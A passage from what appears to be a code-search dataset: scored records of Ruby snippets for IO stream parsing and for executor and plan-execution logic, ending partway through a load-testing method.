chunk_size\n end", "title": "" }, { "docid": "79304c3d70b77cd002a8013405401e09", "score": "0.5628944", "text": "def initialize(fStream)\n @file = StringScanner.new(fStream)\n end", "title": "" }, { "docid": "4fc63b40d212aec3e30907a16dd31ec7", "score": "0.562458", "text": "def initialize(io, format = :yaml, opt={})\n # return_values: false, output_io: STDOUT\n @io = io\n @format = format\n @streamer = MessagePack::Inspect::Streamer.get(@format)\n @return_values = opt[:return_values] || false\n @output_io = opt[:output_io] || STDOUT\n end", "title": "" }, { "docid": "4a68cdf08b8c775099ee6f0263abc004", "score": "0.5603552", "text": "def parse(io)\n require 'json'\n json = \"[\" + io.read + \"]\"\n JSON.parse(json).map(&Task.parser)\n end", "title": "" }, { "docid": "025d1599c2566784eee0730ce217f362", "score": "0.5601531", "text": "def parse_entry(io_stream)\n entry_string=Monotable::Tools.read_asi_checksum_string_from_file(io_stream)\n io_stream = StringIO.new(entry_string)\n chunk_basename = io_stream.read_asi_string\n parse_encoded_journal_entry(io_stream).merge(:chunk_basename => chunk_basename)\n end", "title": "" }, { "docid": "aede71b987810609dcaa60572c83d3cf", "score": "0.55854803", "text": "def initialize io = nil\n super()\n @localized_strings = {}\n @io = io\n @file_type, @file_version = \"ERF\", \"V1.0\"\n @year = Time.now.year - 1900\n @description_str_ref = 0xffffffff\n @day_of_year = Time.now.yday\n read_from io if io\n end", "title": "" }, { "docid": "8b614bf7944738c556f0eb5339c43dfa", "score": "0.5573934", "text": "def read_from(io)\n\terror('must specify non-nil input stream') if io.nil?\n\t@io = io\n\n\tntrks = read_header()\n\terror('No tracks!') if ntrks <= 0\n\n\tntrks.times { read_track() }\n end", "title": "" }, { "docid": "eba6ff5be7aaeb8d765cf6bb60b49669", "score": "0.5542809", "text": "def parse_io(io, options = {}, &block)\n\n # parse every line type by default\n line_types = options[:line_types] || file_format.line_definitions.keys\n\n # check whether all provided line types are valid\n unknown = line_types.reject { |line_type| file_format.line_definitions.has_key?(line_type) }\n raise \"Unknown line types: #{unknown.join(', ')}\" unless unknown.empty?\n\n @current_io = io\n @current_io.each_line do |line|\n\n @progress_handler.call(:progress, @current_io.pos) if @progress_handler && @current_io.kind_of?(File)\n\n request_data = nil\n line_types.each do |line_type|\n line_type_definition = file_format.line_definitions[line_type]\n break if request_data = line_type_definition.matches(line, @current_io.lineno, self)\n end\n\n if request_data\n @parsed_lines += 1\n update_current_request(request_data, &block)\n end\n end\n\n warn(:unfinished_request_on_eof, \"End of file reached, but last request was not completed!\") unless @current_request.nil?\n\n @current_io = nil\n end", "title": "" }, { "docid": "c9c685a33236bc57d514ae7eb3077f0a", "score": "0.5534325", "text": "def initialize(io=nil)\n self.io = case io\n when nil then Tempfile.new(TEMPFILE_BASENAME)\n when String then StringIO.new(io)\n else io\n end\n \n @enumerate_to_a = true\n end", "title": "" }, { "docid": "fcacaf7e107e3b1659e7d32129b43fe8", "score": "0.5526876", "text": "def initialize(io)\n @io = io\n @init_pos = io.pos\n end", "title": "" }, { "docid": "81c14260c1bf0bfa7a1cce0700bc3429", "score": "0.55180776", "text": "def initialize(io, args={})\n @io = io\n @snappy_write_ident = false\n @buffer = ''\n end", "title": "" }, { "docid": "dcbdc51d6bab7e9b1ecac296a73ee948", "score": "0.5509841", "text": "def initialize io, chunk_size: DEFAULT_CHUNK_SIZE, maxbuf: DEFAULT_MAXBUF,\n symbolize_keys: false\n super\n @unpacker = MessagePack::Unpacker.new(symbolize_keys: symbolize_keys)\n # don't specify io, so don't have to read all of io in one loop\n\n @packer = MessagePack::Packer.new(io)\n @chunk_size = chunk_size\n @maxbuf = maxbuf\n end", "title": "" }, { "docid": "185d3f3ed8b2b416fd5dcb8bd9af21a3", "score": "0.5469572", "text": "def parse(io, traditional=true)\n if traditional\n parse_traditional(io)\n else\n parse_vm(io)\n end\n end", "title": "" }, { "docid": "94120aaddbe18fd7227a905bf0f3cd17", "score": "0.5463235", "text": "def initialize(io)\n @io = io\n @path = []\n end", "title": "" }, { "docid": "daac08ac878a6fbbbd60b37332e1ceab", "score": "0.54624563", "text": "def load(io)\r\n\t\t\t# Set to binary mode for windows environment\r\n\t\t\tio.binmode if io.respond_to? :binmode\r\n\t\t\t\r\n\t\t\tstart_postion = io.pos\r\n\t\t\tio.seek(0, IO::SEEK_END)\r\n\t\t\tio_size = io.pos\r\n\t\t\tio.seek(start_postion)\r\n\t\t\t\r\n\t\t\tappinfo_offset, sort_offset = unpack_header(io.read(HEADER_LENGTH))\r\n\t\t\t\r\n\t\t\t# parse the record index\r\n\t\t\trecord_index = io.read(RECORD_INDEX_HEADER_LEN)\r\n\t\t\tnext_index, record_count = record_index.unpack(\"N n\")\r\n\t\t\t\r\n\t\t\t# load the indexes, gather information about offsets and\r\n\t\t\t# record lengths\r\n\t\t\tindexes = nil\r\n\t\t\tif resource?\r\n\t\t\t\tindexes = load_resource_index(io, next_index, record_count)\r\n\t\t\telse\r\n\t\t\t\tindexes = load_record_index(io, next_index, record_count)\r\n\t\t\tend\r\n\t\t\t# Add the final offset as a Datablock for the end of the file\r\n\t\t\tindexes << DataBlock.new(io_size, 0)\r\n\t\t\t# Fill in the lengths for each of these index entries \r\n\t\t\tindexes.each_cons(2){|starts, ends| starts.record_length = ends.offset - starts.offset }\r\n\t\t\t# Calculate where the data starts (or end of file if empty)\r\n\t\t\tdata_offset = indexes.first.offset\r\n\t\t\t\r\n\t\t\t# Pop the last entry back off. We pushed it on make it easier to calculate the lengths\r\n\t\t\t# of each entry.\r\n\t\t\tindexes.pop\r\n\t\t\t\r\n\t\t\t# Load optional chunks\r\n\t\t\tload_appinfo_block(io, appinfo_offset, sort_offset, data_offset) if appinfo_offset > 0\r\n\t\t\tload_sort_block(io, sort_offset, data_offset) if sort_offset > 0\r\n\t\t\t\r\n\t\t\t# Load data\r\n\t\t\tload_data(io, indexes)\r\n\t\t\tio.close\r\n\t\tend", "title": "" }, { "docid": "b72b8d0b993415355cd87b52d753b05d", "score": "0.5460321", "text": "def initialize stream\n @stream = stream\n @tokenizer = Marshal::Structure::Tokenizer.new stream\n end", "title": "" }, { "docid": "acc372a94018ed37a2a70f9e02959583", "score": "0.5457487", "text": "def deserialize(inputstream)\n if inputstream.kind_of?(IO)\n create_model(inputstream)\n elsif inputstream.kind_of?(String) then\n create_model(StringIO.new(inputstream))\n else\n raise BioInterchange::Exceptions::ImplementationReaderError, 'The provided input stream needs to be either of type IO or String.'\n end\n end", "title": "" }, { "docid": "b02a51f233debfcf55893c27bdb946ae", "score": "0.54547983", "text": "def parse(io)\n sig = io.read(8)\n raise \"not CFB header\" unless sig == SIGNATURE\n cls_id = io.read(16) # not used\n\n @minor_version = io.read_short\n @major_version = io.read_short\n order = io.read(2).unpack('C*')\n @byte_order = [0xff, 0xfe] == order ? :big: :little\n io.endian = @byte_order\n\n @sector_shift = 2**io.read_short\n io.sector_size = sector_shift\n @mini_sector_shift = 2**io.read_short\n io.read(6) # reserved area\n @int_keys.each do |k|\n instance_variable_set(k, io.read_int)\n end\n end", "title": "" }, { "docid": "a3570be794b1d8c6b9273285b26ab93b", "score": "0.54407", "text": "def read_io_stream\n request = create_request\n logger.info \"Opening PowerTrack parsed stream\"\n begin\n @adapter.io_curl_stream(request) do |data|\n yield data\n end\n ensure\n logger.warn \"Closing stream\"\n end\n end", "title": "" }, { "docid": "e00d2b715fe082121900f48f57a80191", "score": "0.5439047", "text": "def initialize(filepath_or_io,\n mimetype='application/octet-stream',\n filename=nil)\n @mimetype = mimetype\n @filename = nil\n\n if filepath_or_io.respond_to? :read\n @input = filepath_or_io\n @shouldclose = false # came opened\n\n if filepath_or_io.respond_to? :path\n @filename = File.basename(filepath_or_io.path)\n end\n\n else\n @input = File.open(filepath_or_io, 'rb')\n @shouldclose = true # I opened it\n @filename = File.basename(filepath_or_io)\n end\n\n end", "title": "" }, { "docid": "5a0d82c642814f57fe3a2bdbe8ca1b00", "score": "0.54365563", "text": "def initialize(io_, processor_, opts_={})\n @io = io_\n @processor = nil\n if processor_.respond_to?(:record) && processor_.respond_to?(:extra_entry)\n @processor = RecordBuilder.new(processor_)\n elsif processor_.respond_to?(:begin_record) && processor_.respond_to?(:end_record)\n @processor = processor_\n end\n @levels = opts_[:levels] || STANDARD_LEVELS\n @emit_incomplete_records_at_eof = opts_[:emit_incomplete_records_at_eof]\n @current_record_id = nil\n if SUPPORTS_ENCODING\n @encoding = opts_[:encoding]\n @encoding = ::Encoding.find(@encoding) if @encoding && !@encoding.kind_of?(::Encoding)\n @internal_encoding = opts_[:internal_encoding]\n @internal_encoding = ::Encoding.find(@internal_encoding) if @internal_encoding && !@internal_encoding.kind_of?(::Encoding)\n end\n end", "title": "" }, { "docid": "15ed6cd50432045110ad8251c8b29b11", "score": "0.5431282", "text": "def deserialize(io)\n using_callbacks(io) do\n @serializer.de(io) { |obj| deserialize_special(io, obj) }\n end\n end", "title": "" }, { "docid": "c6eeee9e475d4d8eeaa16e5f812453ff", "score": "0.54303545", "text": "def load_stream_info_from_file(\n io, index_dir: File.dirname(io.path), silent: false\n )\n index_filename =\n self.class.default_index_filename(io.path, index_dir: index_dir)\n if File.exist?(index_filename)\n Pocolog.info \"loading file info from #{index_filename}... \" unless silent\n begin\n streams_info = File.open(index_filename) do |index_io|\n Format::Current.read_index(\n index_io, expected_file_size: io.size, expected_mtime: nil\n )\n end\n return initialize_from_stream_info(io, streams_info)\n rescue InvalidIndex => e\n unless silent\n Pocolog.warn \"invalid index file #{index_filename}: #{e.message}\"\n end\n end\n end\n rebuild_and_load_index(io, index_filename, silent: silent)\n end", "title": "" }, { "docid": "cadb25750bbd2ae7ca67586276642ad6", "score": "0.5429747", "text": "def parse(io, options = {})\n Ox.sax_parse(@handler, io, options)\n end", "title": "" }, { "docid": "79e2ecbaa3460992c0723e17a9f0b1e9", "score": "0.5420882", "text": "def initialize(stream)\n @stream = stream\n end", "title": "" }, { "docid": "79e2ecbaa3460992c0723e17a9f0b1e9", "score": "0.5420882", "text": "def initialize(stream)\n @stream = stream\n end", "title": "" }, { "docid": "e5d3c0e99c8b8746cf510ef0b2604379", "score": "0.5409498", "text": "def parse(io_or_string, options = {})\n case io_or_string\n when String\n parse_string(io_or_string, options)\n when IO\n parse_io(io_or_string, options)\n end\n end", "title": "" }, { "docid": "dab1d2e2add9ae847cd07b79b5c75354", "score": "0.5407661", "text": "def create_parser\n @parser = Parser.new.tap do |p|\n p.stream_open {|node| @nodes.push(node) }\n p.stream_close { close_connection }\n p.stanza {|node| @nodes.push(node) }\n end\n end", "title": "" }, { "docid": "f95f3979f602d74c36c02c41436418b4", "score": "0.54062074", "text": "def initialize(stream=nil)\n\t\t\t@header = Hash.new\n\t\t\tif stream\n\t\t\t\tread stream\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "2c24425ef48bd9458ebe0fdc44cc2e58", "score": "0.5393387", "text": "def parsing_initialize(opts = {})\n unless raw_input = opts[:raw_input]\n raise Error, \"Unexpected that opts[:raw_input] is nil\"\n end\n parent_key = opts[:parent_key]\n\n @input = FileParser::Input.create(raw_input)\n @output = empty_parser_output(@input, parent_key)\n @file_obj = opts[:file_obj]\n @parent_key = parent_key\n end", "title": "" }, { "docid": "0f16f29383a9185864211748083b0269", "score": "0.53895044", "text": "def load(io_or_string, options = {})\n encoding_opt = options.delete :encoding\n encoding =\n encoding_opt ? Encoding.find(encoding_opt) : Encoding.default_external\n\n case io_or_string\n when String\n File.open(io_or_string, \"r:#{encoding}\"){|f|parse_io(f, options)}\n when IO\n parse_io(io_or_string, options)\n end\n end", "title": "" }, { "docid": "487b1caba107fb31e353c3abc8bcc5f9", "score": "0.53855485", "text": "def initialize(io)\n @io = io\n @init_pos = io.pos\n end", "title": "" }, { "docid": "cf877845e055b39a9a593b5f344995f1", "score": "0.53808856", "text": "def register_io(io)\n stream = Stream.new(io, self)\n register_stream stream\n end", "title": "" }, { "docid": "d4d01dfe014c625b2a911fe1c5ee1805", "score": "0.5379595", "text": "def initialize(filename_or_io, content_type, filename = nil, opts = {})\n io = filename_or_io\n local_path = \"\"\n if io.respond_to? :read\n # in Ruby 1.9.2, StringIOs no longer respond to path\n # (since they respond to :length, so we don't need their local path, see parts.rb:41)\n local_path = filename_or_io.respond_to?(:path) ? filename_or_io.path : \"local.path\"\n else\n io = File.open(filename_or_io)\n local_path = filename_or_io\n end\n filename ||= local_path\n\n @content_type = content_type\n @original_filename = File.basename(filename)\n @local_path = local_path\n @io = io\n @opts = opts\n end", "title": "" }, { "docid": "b529c87b11f3c9185395d8bfe2c5d87c", "score": "0.5379066", "text": "def initialize(filename_or_io, content_type, filename = nil, opts = {})\n io = filename_or_io\n local_path = \"\"\n if io.respond_to? :read\n # in Ruby 1.9.2, StringIOs no longer respond to path\n # (since they respond to :length, so we don't need their local path, see parts.rb:41)\n local_path = filename_or_io.respond_to?(:path) ? filename_or_io.path : \"local.path\"\n else\n io = File.open(filename_or_io)\n local_path = filename_or_io\n end\n filename ||= local_path\n\n @content_type = content_type\n @original_filename = File.basename(filename)\n @local_path = local_path\n @io = io\n @opts = opts\n end", "title": "" } ]
25666ce014727bc50ff3fe3a0cf15ee2
Call into FiberExecutor to avoid this class getting overloaded while also minimizing the Puppet lookups needed from plan functions
[ { "docid": "24ddbda7c415f10206b960408b1e8c68", "score": "0.0", "text": "def create_future(plan_id:, scope: nil, name: nil, &block)\n @fiber_executor.create_future(scope: scope, name: name, plan_id: plan_id, &block)\n end", "title": "" } ]
[ { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "8235ebf7058af650a1d4fa0d7e5d7c56", "score": "0.6862085", "text": "def executor; end", "title": "" }, { "docid": "683138db96946f37c48c21481c0dd461", "score": "0.66263306", "text": "def execution_engine; plan.execution_engine end", "title": "" }, { "docid": "c26b10e31e0a9460d8b14728fb2355e4", "score": "0.6306714", "text": "def executor=(_); end", "title": "" }, { "docid": "c26b10e31e0a9460d8b14728fb2355e4", "score": "0.6306714", "text": "def executor=(_); end", "title": "" }, { "docid": "c26b10e31e0a9460d8b14728fb2355e4", "score": "0.6306714", "text": "def executor=(_); end", "title": "" }, { "docid": "c26b10e31e0a9460d8b14728fb2355e4", "score": "0.6306714", "text": "def executor=(_); end", "title": "" }, { "docid": "e3e431b665d9b1fadc6d6e5b69a43742", "score": "0.6253508", "text": "def global_fast_executor; end", "title": "" }, { "docid": "e3e431b665d9b1fadc6d6e5b69a43742", "score": "0.6253508", "text": "def global_fast_executor; end", "title": "" }, { "docid": "65c34a54d56fc1ba11a3049e57497627", "score": "0.6252074", "text": "def engine; plan.engine end", "title": "" }, { "docid": "93380167851a28539482a6cb2d544a51", "score": "0.62444425", "text": "def execute(&block)\n plan.execute(&block)\n end", "title": "" }, { "docid": "93380167851a28539482a6cb2d544a51", "score": "0.62444425", "text": "def execute(&block)\n plan.execute(&block)\n end", "title": "" }, { "docid": "9e998fbea8d5eec91613b3a17204f454", "score": "0.6036251", "text": "def executor(executor_identifier); end", "title": "" }, { "docid": "ab7ef6d4d0b6d60d78dee1876cba3260", "score": "0.58769214", "text": "def plan; connection_space.plan end", "title": "" }, { "docid": "25b3fcfcf33ffae73848158244a8d93b", "score": "0.5865385", "text": "def run_internal; end", "title": "" }, { "docid": "02ec476376b5f062382233b49972d75f", "score": "0.5856294", "text": "def engine; connection_space.plan.engine end", "title": "" }, { "docid": "4e9945bf27835ec54db640d2800c5466", "score": "0.5850939", "text": "def exec; end", "title": "" }, { "docid": "4e9945bf27835ec54db640d2800c5466", "score": "0.5850939", "text": "def exec; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "b8f95ffea11457072412391088507464", "score": "0.5768808", "text": "def execute; end", "title": "" }, { "docid": "08411d46eca359f1b9a88aca85aad41c", "score": "0.5715302", "text": "def set_plan\n \n end", "title": "" }, { "docid": "1127b37d565169f5058c4e3d5210514e", "score": "0.57089007", "text": "def executor\n @executor ||= Heartcheck::Executors::Base.new\n end", "title": "" }, { "docid": "b9369c8b70c39cfd97c6d36895360365", "score": "0.5695628", "text": "def real_plan\n\t ret = self\n\t while ret.respond_to?(:plan)\n\t\tret = ret.plan\n\t end\n\t ret\n\tend", "title": "" }, { "docid": "83860ab7f8f24b93309a326ec50518b4", "score": "0.56615657", "text": "def plan; app.plan end", "title": "" }, { "docid": "95ce5858c4cb2603f0ea86b52f6af1df", "score": "0.5657027", "text": "def execute_any_plan\n executor.execute_any_plan = true\n end", "title": "" }, { "docid": "c16fe0bd28b2ad5fa50d61015305517e", "score": "0.5652195", "text": "def execute(&block) # fixed error\n block.call\nend", "title": "" }, { "docid": "8bd64a67b91186e43104bc6c4561668e", "score": "0.56232995", "text": "def execute\n raise NotImplementedError\n end", "title": "" }, { "docid": "8bd64a67b91186e43104bc6c4561668e", "score": "0.56232995", "text": "def execute\n raise NotImplementedError\n end", "title": "" }, { "docid": "261387848e86295fe946b657de4d9c92", "score": "0.5616532", "text": "def execute\n \n end", "title": "" }, { "docid": "e8e9f819d00121b8000d59289b6b0b73", "score": "0.56074816", "text": "def execute(&block)\n\tblock.call # added the .call method inside the code block of the method\nend", "title": "" }, { "docid": "b29228c9465e21562050f9eb57266064", "score": "0.5607475", "text": "def execute\n end", "title": "" }, { "docid": "b29228c9465e21562050f9eb57266064", "score": "0.5607475", "text": "def execute\n end", "title": "" }, { "docid": "b29228c9465e21562050f9eb57266064", "score": "0.5607475", "text": "def execute\n end", "title": "" }, { "docid": "0537579e22622f8124dfac1d3d3310dd", "score": "0.55990183", "text": "def execute\n # Override when sub classing\n end", "title": "" }, { "docid": "79d07cb2d742a9ef076afeba5eee3ba8", "score": "0.5586998", "text": "def initialize # :notnew:\n\t\t@executor = nil\n\tend", "title": "" }, { "docid": "5b88633cb083d9f9306488e7a79c85c9", "score": "0.55837715", "text": "def plan; peer.connection_space.plan end", "title": "" }, { "docid": "5b88633cb083d9f9306488e7a79c85c9", "score": "0.55837715", "text": "def plan; peer.connection_space.plan end", "title": "" }, { "docid": "74e0f29c9eb116a25d1af9b30e7f3a99", "score": "0.55792284", "text": "def plan(opts = {}, &block)\n return Plan.new opts, &block\n end", "title": "" }, { "docid": "74e0f29c9eb116a25d1af9b30e7f3a99", "score": "0.55792284", "text": "def plan(opts = {}, &block)\n return Plan.new opts, &block\n end", "title": "" }, { "docid": "956bc47a6eb51b9351427276439f82af", "score": "0.5577507", "text": "def run_locally; end", "title": "" }, { "docid": "7ba7d01622b1f6ba3ef3ca53322e2c91", "score": "0.55646247", "text": "def executor\n @executor ||= case self.class.name\n when /System/\n then CanTango::PermitEngine::Executor::System.new self\n else\n CanTango::PermitEngine::Executor::Base.new self\n end\n end", "title": "" }, { "docid": "7ae8736b215052136775332aa71e0065", "score": "0.55641526", "text": "def plan_command\n show_plan(choria.puppet_environment)\n end", "title": "" }, { "docid": "4d844f566e9d955f12fba02982502644", "score": "0.55530095", "text": "def execute(plan: self.plan, garbage_collect: false)\n unless plan.respond_to?(:execution_engine)\n # not an executable plan, just yield\n return yield\n end\n\n result = nil\n expect_execution(plan: plan) { result = yield }.garbage_collect(garbage_collect).to_run\n result\n rescue Minitest::Assertion => e\n raise e, e.message, caller(2)\n end", "title": "" }, { "docid": "4aa42871fea861322e8b2763c916afd1", "score": "0.5551421", "text": "def method_missing(m, *args)\n get_executor.send m, *args\n end", "title": "" }, { "docid": "adc143d9921490a32ce81e2ec1b81602", "score": "0.55449003", "text": "def invoke; end", "title": "" }, { "docid": "adc143d9921490a32ce81e2ec1b81602", "score": "0.55449003", "text": "def invoke; end", "title": "" }, { "docid": "adc143d9921490a32ce81e2ec1b81602", "score": "0.55449003", "text": "def invoke; end", "title": "" }, { "docid": "5960ec7c62a3223894b2d29ed5ce56fe", "score": "0.5542148", "text": "def execute\n\n end", "title": "" }, { "docid": "2cfa3059cd6b0c55374f18e471597d6a", "score": "0.5522811", "text": "def execute\n Rails.logger.debug \"Execution not implemented: #{self.class.to_s}\"\n end", "title": "" }, { "docid": "c4790f07cf389a2744cbbcee8f439d7e", "score": "0.5521495", "text": "def executor\n @executor ||= case self.class.name\n when /System/\n then CanTango::PermitEngine::Executor::System.new self\n else\n CanTango::PermitEngine::Executor::Base.new self\n end\n end", "title": "" }, { "docid": "bdff06e81c91775823d9b01af7a8c54e", "score": "0.54950994", "text": "def execute\n end", "title": "" }, { "docid": "bdff06e81c91775823d9b01af7a8c54e", "score": "0.54950994", "text": "def execute\n end", "title": "" }, { "docid": "b756f1e6b491aa2c2d64242e326195b3", "score": "0.5491259", "text": "def create_cached_executor\r\n create_executor CACHED_EXECUTOR\r\n end", "title": "" }, { "docid": "559a26ab09f9c0305f7ba041b51f08d7", "score": "0.5488091", "text": "def method_missing(method_sym, *args, &block)\n if InParallelExecutor.main_pid == ::Process.pid\n out = InParallelExecutor._execute_in_parallel(\"'#{method_sym.to_s}' #{caller_locations[0].to_s}\",\n @object.eval('self')) { send(method_sym, *args, &block) }\n out[:tmp_result]\n end\n end", "title": "" }, { "docid": "9b632aa1829227dfc5a873c0d05ccbee", "score": "0.54875743", "text": "def execution_order; end", "title": "" }, { "docid": "2c5981f92b764c7fb090a0790c2478b3", "score": "0.54755163", "text": "def execute_plan(queue, dry_run, user_count, context_count)\n @logger.info(\"Starting test plan execution\")\n\n # The following will record the currently executing command(s)\n @exec_thrd_cnt = @config['thread_count'] ? @config['thread_count'] : 1\n @cur_dev_cmds = [nil] * @exec_thrd_cnt\n\n @logger.info(\"Using #{@exec_thrd_cnt} threads\")\n\n # Combine the target URL to create the various URL's we'll be using\n @base_uri = \"http://\" + @target\n @droplets_uri = \"#{@base_uri}/apps\"\n @services_uri = \"#{@base_uri}/services\"\n @resources_uri = \"#{@base_uri}/resources\"\n\n # Are we really doing this, or just pretending?\n dry_run = @config['dry_run_plan']\n\n # The following will hold the test user clients / emails / auth_tokens\n @user_clients = []\n @user_emails = []\n @user_tokens = []\n\n # We'll try to figure out the peak instance count of the run\n @cur_instances = 0\n @max_instances = 0\n\n # Initialize the \"stop now\" and \"test is finished\" flags\n @stop_run_now = false\n @test_run_done = false\n\n # Initialize the stats we keep for \"dev\" actions\n @dev_act_cnt_n = 0 # count of \"normal\" dev actions that went OK\n @dev_act_cnt_s = 0 # count of \"slow\" dev actions that went OK\n @dev_act_fails = 0 # count of *all* dev actions that failed\n @dev_act_nrmtm = 0 # total time spent executing \"normal\" dev actions\n @dev_act_slwtm = 0 # total time spent executing \"slow\" dev actions\n\n # Login as an administrator\n if not dry_run\n if $newgen\n # Create client instance for the admin user\n # FIXME: later usage of this client is not thread safe.\n @admin_client = VMC::Client.new(@target)\n @admin_client.proxy = nil\n\n # Log in the admin user\n @admin_token = @admin_client.login(@config['ac_admin_user'], @config['ac_admin_pass'])\n\n # Enable tracing if desired\n @admin_client.trace = $verbose ? true : false\n else\n @admin_token = login_internal(@base_uri, @config['ac_admin_user'],\n @config['ac_admin_pass'])\n end\n else\n @admin_token = \"this is a fake admin user token\"\n end\n\n # Prepare an array to hold the client instances for each user\n user_clients = [nil] * user_count\n\n # Figure out whether we should try to follow a \"real\" clock\n real_clock = dry_run ? false : true\n\n # Initialize the clock and start executing the commands in the queue\n stclk = Time.now\n clock = 0\n\n # The following holds info about all of the active apps\n my_apps = {}\n ma_lock = Mutex.new\n\n # Start a thread to log CPU/memory usage, if desired\n if @config['log_rsrc_use'] and @config['log_rsrc_use'] > 0\n Thread.new do\n slp = @config['log_rsrc_use']\n cmd = \"ps -o rss=,pcpu= -p #{Process.pid}\"\n while slumber(slp)\n rss, cpu = `#{cmd}`.split\n mem = (rss.to_i + 511) / 1024\n @logger.info(\"Current resource usage: mem =%4u MB , cpu = %4.1f \\%\" % [mem, cpu.to_f])\n end\n end\n end\n\n # Count the number of dev/use actions (excluding infinite uses); also,\n # adjust the clock values so that the first action happens right away.\n start_clock = queue[0][:clock]\n @usr_act_count = 0\n @dev_act_count = 0\n queue.each do |q|\n # Adjust the clock\n q[:clock] -= start_clock\n\n # For 'use' actions, don't count infinite duration entries\n if q[:act_type].kind_of? TestDef_Usr\n arg = q[:args]\n @usr_act_count += 1 unless arg and arg[:duration] == INFINITY\n end\n\n # Note - 'dev' actions should never have infinite durations\n if q[:act_type].kind_of? TestDef_Dev\n @dev_act_count += 1\n end\n end\n\n priority_context_queue = PriorityContextQueue.new(@logger, queue)\n \n puts priority_context_queue.length\n\n # Start the desired number of threads to execute the test actions\n thrd_cnt = @exec_thrd_cnt\n thrd_tab = []\n thrd_cnt.times do |thrd_num|\n # This is the start each executor thread ...\n thrd_tab << Thread.new do\n while !@stop_run_now and !@test_run_done\n\n # We need to pull the next available action and run it. We prevent\n # collisions on the client associated with each context by only\n # running 1 item from each context queue at a time (that is what\n # the old code did too)\n #\n # The basic algorithm for grabbing action items from the queue\n # is as follows:\n #\n # 1.\n # Pull a context queue off the priority queue. If nil,\n # we are done as there is no more work to do. Shift an action\n # off the context queue.\n #\n # 2.\n # Compare the current time to the clock value in the first\n # undone item we found in the previous step; if the item is\n # way in the future, that means that there is no work to be\n # done at this time; go to sleep long enough such that we'll\n # wake up around the time the next item is due; start all\n # over after waking up.\n\n # Step 1: get a context_queue from the priority queue, if nil,\n # there is no more work to do.\n a_our = nil\n context_queue = priority_context_queue.pop\n break unless context_queue\n\n # Get and record the currently executing action for this thread\n a_our = context_queue.shift\n @cur_dev_cmds[thrd_num] = a_our\n\n # Step 2: if the item is in the future, go to sleep\n # (this is the sleep block from the older code, just shifted over\n # due to shifting out a block level)\n a_clk = a_our[:clock]\n c_clk = real_clock ? (Time.now - stclk) : a_clk\n if c_clk < a_clk\n # Randomize the sleep time a tiny bit to avoid bad behavior\n slptm = (real_clock ? (a_clk - c_clk) : 0) + rand(0.1)\n @logger.debug(\"Next action #{action_to_s(a_our)} in T#{thrd_num} isn't due for #{slptm} seconds\") if slptm > 60\n sleep(slptm)\n end\n\n # Put this back to what the \"old\" code expects, including the\n a = a_our\n\n # Stop if we're shutting down\n break if @stop_run_now\n\n # If the above loop stops without finding 'a', it means we're done\n break unless a\n\n # We wrap the rest of the logic in an 'ensure' block to guarantee\n # that we can do appropriate cleanup and accounting\n begin\n retry_action = false\n\n typ = a[:act_type]\n clk = a[:clock]\n act = a[:action]\n arg = a[:args]\n\n ctx = a[:context]\n usr = ctx[0]\n scn = ctx[1]\n \n @logger.debug(\"The thread #{thrd_num} is responsible for action #(act) with argument #{arg}\")\n\n # Do we have a \"use\" or \"dev\" action to execute?\n if typ.kind_of? TestDef_Usr\n # Make sure all \"use\" actions are :symbols\n internal_error(\"Use action value is not a :symbol\") unless act.kind_of? Symbol\n\n # Pull out the :http_args value, if present\n harg = TestDef_Base.pull_val_from(arg, :http_args)\n\n do_usr_action(usr, scn, act, arg, harg, clk, dry_run)\n\n # Update the remaining \"use\" action count\n if arg[:duration] != INFINITY\n @lck_act_count.synchronize { @usr_act_count -= 1 }\n end\n\n next\n end\n\n # Not \"use\" - must be a \"dev\" (i.e. an AC user / admin type) action\n internal_error(\"Instead of use/dev action we found #{a.class}\") unless typ.kind_of? TestDef_Dev\n internal_error(\"Dev action value is not a Fixnum\") unless act.kind_of? Fixnum\n\n # Figure out when this action should end\n dur = arg[:duration] || 0\n end_time = Time.now + dur\n\n # Extract the app name, if present\n app = \"\"\n if arg and arg[:app_name]\n app = arg[:app_name]\n end\n\n # Get hold of the client / auth token / email for this user (if set)\n client = @user_clients[usr]\n token = @user_tokens [usr]\n email = @user_emails [usr]\n\n # Extract instance info, if present\n icnt = arg[:inst_cnt]\n iinc = nil\n if icnt\n # If the count starts with +/- then it's a relative change\n if icnt.kind_of? String\n iinc = icnt[0,1]\n if iinc != \"+\" and iinc != \"-\"\n iinc = nil\n end\n end\n icnt = eval_exec_arg(icnt, app, email).to_i\n end\n\n imin = arg[:inst_min] ? eval_exec_arg(arg[:inst_min], app, email).to_i : nil\n imax = arg[:inst_max] ? eval_exec_arg(arg[:inst_max], app, email).to_i : nil\n inum = arg[:inst_num] ? eval_exec_arg(arg[:inst_num], app, email).to_i : nil\n\n @logger.info(\"[%04u]>>vmc \\{#{ctx_mark(usr,scn)}\\} #{VMC_Actions.action_to_s(act)} #{app} #{arg.inspect}\" % clk)\n\n # With a few exceptions, all commands refer to active apps\n case act\n when VMC_Actions::VMC_ADD_USER,\n VMC_Actions::VMC_DEL_USER,\n 